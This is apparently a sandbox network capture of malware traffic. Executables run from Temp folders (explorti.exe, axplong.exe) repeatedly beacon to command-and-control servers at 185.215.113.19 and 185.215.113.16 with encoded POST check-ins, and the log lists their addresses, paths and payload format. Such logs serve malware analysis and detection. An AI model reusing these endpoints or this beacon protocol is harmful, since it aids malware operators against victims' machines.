Jul 27, 2024 03:19:54.993846893 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:55.239054918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49744	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:55.346535921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:56.118330956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:56.133963108 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:56.385905981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49745	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:56.533678055 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:57.278141022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:57.278887987 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:57.525070906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49746	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:57.644917965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:58.397330046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:58.397944927 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:58.645606041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49747	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:58.768358946 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:59.518184900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:59.521624088 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:59.769671917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49750	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:59.877681017 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:00.632066011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:00.632915020 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:00.884033918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49756	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:01.003315926 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:01.765784979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:01.767108917 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:02.016180992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49757	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:02.167952061 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:02.918216944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:02.990580082 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:03.235950947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49759	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:03.156299114 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:03.951978922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:03.968235016 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:04.218547106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49760	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:03.435575962 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:04.193418026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:04.209178925 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:04.458786011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49762	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:04.340022087 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:05.097326040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:05.098479033 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:05.346954107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49765	34.107.221.82	80	8164	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:04.469693899 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:04.953141928 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54232 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49766	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:04.578658104 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:05.335599899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:05.372375965 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:05.645220041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49768	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:05.482496023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:06.222300053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
